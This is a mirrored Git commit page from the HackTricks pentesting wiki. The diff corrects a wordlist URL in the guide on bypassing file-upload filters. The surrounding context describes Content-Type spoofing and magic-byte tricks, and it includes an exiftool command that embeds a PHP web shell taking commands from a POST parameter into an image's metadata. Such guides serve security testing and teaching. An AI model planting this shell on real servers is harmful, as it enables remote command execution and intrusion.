Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-21 12:13:17 +00:00
Code Issues Projects Releases Packages Wiki Activity

Merge pull request #897 from shad0w0lf/patch-1

Browse source 
Update README.md
This commit is contained in:
SirBroccoli 2024-07-20 12:47:17 +02:00 committed by GitHub
commit c79ed6b68b
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
1 changed files with 1 additions and 1 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

2
pentesting-web/file-upload/README.md
View file

@ -81,7 +81,7 @@ Other useful extensions:
### Bypass Content-Type, Magic Number, Compression & Resizing
* Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` or you could also **introduce the payload directly** in an image:\